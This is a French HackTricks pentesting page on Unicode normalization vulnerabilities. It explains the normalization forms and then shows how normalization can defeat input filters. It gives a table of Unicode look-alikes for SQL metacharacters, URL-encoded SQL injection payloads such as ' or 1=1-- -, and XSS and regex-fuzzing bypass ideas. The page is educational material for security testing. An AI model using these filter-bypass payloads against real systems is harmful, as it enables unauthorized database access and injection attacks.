hacktricks/pentesting-web/unicode-injection/unicode-normalization.md

127 lines
9.3 KiB
Markdown
Raw Normal View History

# Normalisation Unicode
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
2022-04-28 16:01:33 +00:00
</details>
**Il s'agit d'un résumé de :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consultez-le pour plus de détails (images prises de là).
## Compréhension de l'Unicode et de la Normalisation
La normalisation Unicode est un processus qui garantit que les différentes représentations binaires des caractères sont standardisées à la même valeur binaire. Ce processus est crucial pour traiter les chaînes de caractères en programmation et en traitement des données. La norme Unicode définit deux types d'équivalence de caractères :
1. **Équivalence canonique** : Les caractères sont considérés comme équivalents canoniquement s'ils ont la même apparence et la même signification lorsqu'ils sont imprimés ou affichés.
2. **Équivalence de compatibilité** : Une forme plus faible d'équivalence où les caractères peuvent représenter le même caractère abstrait mais peuvent être affichés différemment.
Il existe **quatre algorithmes de normalisation Unicode** : NFC, NFD, NFKC et NFKD. Chaque algorithme utilise différemment les techniques de normalisation canonique et de compatibilité. Pour une compréhension plus approfondie, vous pouvez explorer ces techniques sur [Unicode.org](https://unicode.org/).
### Points clés sur l'encodage Unicode
Comprendre l'encodage Unicode est essentiel, notamment lorsqu'il s'agit de problèmes d'interopérabilité entre différents systèmes ou langues. Voici les points principaux :
* **Points de code et caractères** : En Unicode, chaque caractère ou symbole est assigné une valeur numérique appelée "point de code".
* **Représentation en octets** : Le point de code (ou caractère) est représenté par un ou plusieurs octets en mémoire. Par exemple, les caractères LATIN-1 (courants dans les pays anglophones) sont représentés en utilisant un octet. Cependant, les langues avec un plus grand ensemble de caractères nécessitent plus d'octets pour la représentation.
* **Encodage** : Ce terme fait référence à la manière dont les caractères sont transformés en une série d'octets. UTF-8 est une norme d'encodage courante où les caractères ASCII sont représentés en utilisant un octet, et jusqu'à quatre octets pour les autres caractères.
* **Traitement des données** : Les systèmes traitant des données doivent être conscients de l'encodage utilisé pour convertir correctement le flux d'octets en caractères.
* **Variantes d'UTF** : Outre UTF-8, il existe d'autres normes d'encodage comme UTF-16 (utilisant un minimum de 2 octets, jusqu'à 4) et UTF-32 (utilisant 4 octets pour tous les caractères).
Il est crucial de comprendre ces concepts pour gérer efficacement et atténuer les problèmes potentiels découlant de la complexité de l'Unicode et de ses différentes méthodes d'encodage.
Un exemple de normalisation Unicode de deux octets différents représentant le même caractère :
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**Une liste des caractères équivalents en Unicode peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) et [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
2023-06-03 13:10:46 +00:00
### Découverte
Si vous trouvez à l'intérieur d'une application web une valeur qui est renvoyée, vous pourriez essayer d'envoyer le **"SIGNE KELVIN" (U+0212A)** qui se **normalise en "K"** (vous pouvez l'envoyer en tant que `%e2%84%aa`). **Si un "K" est renvoyé**, alors, une sorte de **normalisation Unicode** est effectuée.
Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` après **normalisation Unicode** est `Leonishan`.
## **Exemples de Vulnérabilités**
### **Contournement du filtre d'injection SQL**
Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Cette page web, en tant que mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, elle **normalise** en utilisant **Unicode** l'entrée de l'utilisateur.
Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, une apostrophe est créée et une **vulnérabilité d'injection SQL** apparaît :
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (699).png>)
2023-06-03 13:10:46 +00:00
**Quelques caractères Unicode intéressants**
* `o` -- %e1%b4%bc
* `r` -- %e1%b4%bf
* `1` -- %c2%b9
* `=` -- %e2%81%bc
* `/` -- %ef%bc%8f
2022-04-06 08:57:29 +00:00
* `-`-- %ef%b9%a3
* `#`-- %ef%b9%9f
* `*`-- %ef%b9%a1
* `'` -- %ef%bc%87
* `"` -- %ef%bc%82
* `|` -- %ef%bd%9c
```
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```
2023-06-03 13:10:46 +00:00
#### Modèle sqlmap
2022-10-16 14:05:57 +00:00
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
2022-05-01 13:25:53 +00:00
### XSS (Cross Site Scripting)
Vous pourriez utiliser l'un des caractères suivants pour piéger l'application web et exploiter une XSS :
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (2).png>)
Remarquez que par exemple le premier caractère Unicode proposé peut être envoyé comme : `%e2%89%ae` ou comme `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1) (1).png>)
### Fuzzing des Regex
2022-12-05 11:09:36 +00:00
Lorsque le backend **vérifie l'entrée utilisateur avec un regex**, il est possible que l'**entrée** soit **normalisée** pour le **regex** mais **pas** pour l'endroit où elle est **utilisée**. Par exemple, dans une redirection ou SSRF ouverte, le regex pourrait **normaliser l'URL envoyée** puis **y accéder tel quel**.
2022-12-05 11:09:36 +00:00
L'outil [**recollapse**](https://github.com/0xacb/recollapse) permet de **générer des variations de l'entrée** pour fuzz le backend. Pour plus d'informations, consultez le **github** et ce [**post**](https://0xacb.com/2022/11/21/recollapse/).
2022-12-05 11:09:36 +00:00
## Références
2022-04-05 22:24:52 +00:00
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>